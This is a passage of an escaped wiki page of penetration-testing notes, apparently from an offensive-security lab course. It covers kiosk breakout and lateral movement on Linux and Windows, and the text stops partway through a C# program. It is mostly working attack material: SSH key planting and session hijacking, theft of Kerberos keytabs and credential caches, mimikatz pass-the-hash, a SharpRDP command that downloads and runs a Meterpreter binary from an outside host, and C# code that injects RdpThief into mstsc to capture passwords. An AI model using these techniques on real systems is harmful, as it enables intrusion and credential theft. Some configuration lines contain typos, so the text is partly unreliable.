* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
